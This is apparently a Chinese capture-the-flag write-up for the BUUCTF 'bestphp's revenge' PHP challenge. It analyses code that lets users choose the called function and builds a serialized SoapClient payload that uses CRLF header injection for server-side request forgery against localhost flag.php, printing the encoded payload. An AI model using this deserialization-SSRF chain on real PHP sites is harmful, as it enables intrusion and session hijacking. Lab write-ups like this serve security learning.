135,【2】 buuctf web bestphp‘s revenge

进入靶场

分析代码

php 复制代码
<?php
// 此函数用于高亮显示当前文件(即包含此代码的 PHP 文件)的源代码,常用于调试或展示代码结构。
highlight_file(__FILE__);

// 定义一个变量 $b,其值为字符串 'implode',implode 是 PHP 中的一个内置函数,用于将数组元素组合成一个字符串。
$b = 'implode';

// 通过 call_user_func 函数调用由用户通过 GET 请求传入的参数 'f' 所指定的函数,并将 POST 请求的数据作为参数传递给该函数。
call_user_func($_GET['f'], $_POST);

// 启动一个新的会话或者继续当前的会话,用于在多个页面之间存储和共享用户数据。
session_start();

// 检查是否通过 GET 请求传入了名为 'name' 的参数。
if (isset($_GET['name'])) {
    // 如果存在 'name' 参数,则将其值存储到会话变量 $_SESSION['name'] 中。
    $_SESSION['name'] = $_GET['name'];
}

// 打印出当前会话变量的详细信息,用于调试目的,显示会话中存储的所有数据。
var_dump($_SESSION);

// 创建一个数组 $a,该数组包含两个元素:第一个元素是会话变量 $_SESSION 中的第一个值(通过 reset 函数获取),第二个元素是字符串 'welcome_to_the_lctf2018'。
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');

// 调用之前定义的变量 $b 所代表的函数(即 implode 函数),将数组 $a 的元素组合成一个字符串。
// 不过这里没有对 implode 函数的返回值进行任何处理,组合后的字符串没有被使用。
call_user_func($b, $a);
?>

这行代码执行后输出了 array(0) { }。这是 var_dump 函数对 $_SESSION 变量进行输出的结果
注意:当使用 session_start() 开启会话并设置会话变量后,PHP 会在会话结束时自动将会话数据序列化并存储到指定的会话存储位置 ,在本段代码中,意味着name需要进行反序列化操作
还 得知我们通过get方式传递函数名给f

通过post方式传递给函数f的参数

通过get方式传递的还有参数name

既然用到了post就先抓包

随意提交内容后,发现最后只有名字提交的参数会显示在页面上,而虽然在源代码里允许我们闯入函数名和参数,但是它不会在页面上显示。反应过来源代码里面没有输出。

想获得更多的信息,显然查看源代码和抓包是没有用的,所以我们试着扫描一下目录。看看有没有哪些可以访问到的文件,我用bp

only localhost can get flag!session_start(); echo 'only localhost can get flag!'; flag = 'LCTF{\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*}'; if(_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ _SESSION\['flag'\] = flag; } only localhost can get flag!

本地代码肯定是要提交的,所以我们在 name 的参数里面提交,刚好进行反序列化

那就用 PHP 脚本实现

php 复制代码
<?php

$target ='http://127.0.0.1/flag.php';

$b = new SoapClient(null,array('location'=>$target,

'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",// r n 也就是空行回车

'uri' => "http://127.0.0.1/"));

$se = serialize($b);

echo "|" . urlencode($se);

?>

|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

相关推荐
白帽黑客沐瑶25 分钟前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
深盾安全29 分钟前
符号执行技术实践-求解程序密码
安全
贾维思基1 小时前
被监管警告后,我连夜给系统上了“双保险”!
安全
00后程序员张2 小时前
iOS App 混淆与加固对比 源码混淆与ipa文件混淆的区别、iOS代码保护与应用安全场景最佳实践
android·安全·ios·小程序·uni-app·iphone·webview
Devil枫5 小时前
鸿蒙深链落地实战:从安全解析到异常兜底的全链路设计
安全·华为·harmonyos
ftpeak10 小时前
从零开始使用 axum-server 构建 HTTP/HTTPS 服务
网络·http·https·rust·web·web app
lubiii_12 小时前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
你的人类朋友15 小时前
🔒什么是HMAC
后端·安全·程序员
阿部多瑞 ABU16 小时前
《基于国产Linux的机房终端安全重构方案》
linux·安全
小刘鸭地下城17 小时前
内容安全策略(CSP)深度指南:从基础配置到高级防护
安全